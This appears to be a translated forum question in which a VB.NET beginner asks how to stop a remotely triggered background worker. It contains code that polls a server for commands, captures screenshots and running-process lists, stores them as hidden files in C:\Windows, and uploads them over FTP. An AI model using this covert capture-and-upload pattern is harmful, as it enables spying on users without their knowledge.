1

私はVB.NETの初心者で、リモートプログラムコントロールを配置する必要があるプロジェクトを作成しています。たとえば、ユーザーがコンピューターでプログラムを開始し、コンピューターでボタンをクリックすると、ユーザーコンピューターのプログラムが実行されますスクリーンショットを作成するなど、いくつかの作業を行います。バックグラウンドワーカーとスレッドでこれを実行しようとしましたが、プログラムは 1 つではなく複数のスクリーンショットを開始します。スレッドにサイクルを入れることはできますが、停止することはできません。もちろん、この制御はプログラムの実行中ずっと必要です。

Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles MakeScreen.DoWork
        Dim screen1 As String
        Dim prcs As String

        Do Until screen1 = "1" Or prcs = "1"
            Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://mysite/cmd/cmd.txt")
            Dim response As System.Net.HttpWebResponse = request.GetResponse

            Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

            screen1 = sr.ReadLine
            prcs = sr.ReadLine

        Loop

        '''''Screenshot section '''''

        If screen1 = "1" Then

            Try
                'Do While ssCount < 1
                Dim bounds As Rectangle
                Dim screenshot As System.Drawing.Bitmap
                Dim graph As Graphics
                bounds = Screen.PrimaryScreen.Bounds
                screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
                graph = Graphics.FromImage(screenshot)
                graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
                PictureBox1.Image = screenshot
                PictureBox1.Image.Save("C:\Windows\" + "reqss-" + reqss.ToString + ".png", System.Drawing.Imaging.ImageFormat.Png) 'Сохраняем
                File.SetAttributes("C:\Windows\" + "reqss-" + reqss.ToString + ".png", attribute) ' Делаем скрытым

                Try
                'My.Computer.Network.UploadFile("C:\Windows\" & "reqss-" & reqss & ".png", "ftp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png", "username", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("frp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("username", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\" & "reqss-" & reqss & ".png")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()


                Catch ex As Exception
                    MsgBox(ex.Message)
                End Try

                reqss = reqss + 1
            MakeScreen.Dispose()
            MakeScreen.RunWorkerAsync()
                'Loop
            Catch ex As Exception
                'Nothing
            End Try
        End If

        ''''' End of section '''''

        ''''' Processes section '''''
    If prcs = "1" Then
        'Получаем процессы
        reqprcs.Clear()
        Dim pProcess() As Process = System.Diagnostics.Process.GetProcesses
        For Each p As Process In pProcess
            Try
                'ProcessList.Items.Add(p.ProcessName)
                'ListBox1.Items.Add(p.MainModule.FileName)
                reqprcs.Add(p.MainModule.FileName)
            Catch ex As Exception

            End Try
        Next
        'Записываем процессы в файл
        Try

            Dim W2 As New StreamWriter("C:\Windows\rqprcs-" & reqprcscount & ".txt")
            For i = 0 To reqprcs.Count - 1
                W2.WriteLine(reqprcs.Item(i))
            Next
            W2.Close()
            'File.SetAttributes("C:\Windows\0beforegame.txt", FileAttributes.ReadOnly) ' Делаем read only
            File.SetAttributes("C:\Windows\rqprcs-" & reqprcscount & ".txt", FileAttributes.Hidden) ' Делаем скрытым
            Try
                'My.Computer.Network.UploadFile("C:\Windows\rqprcs-" & reqprcscount & ".txt", "ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt", "user", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("user", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\rqprcs-" & reqprcscount & ".txt")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()

                reqprcscount = reqprcscount + 1

                MakeScreen.Dispose()
                MakeScreen.RunWorkerAsync()
            Catch ex As Exception
                MsgBox(ex.Message)
            End Try

        Catch ex As Exception

        End Try
    End If
    ''''' End of section '''''

End Sub
4

0 に答える 0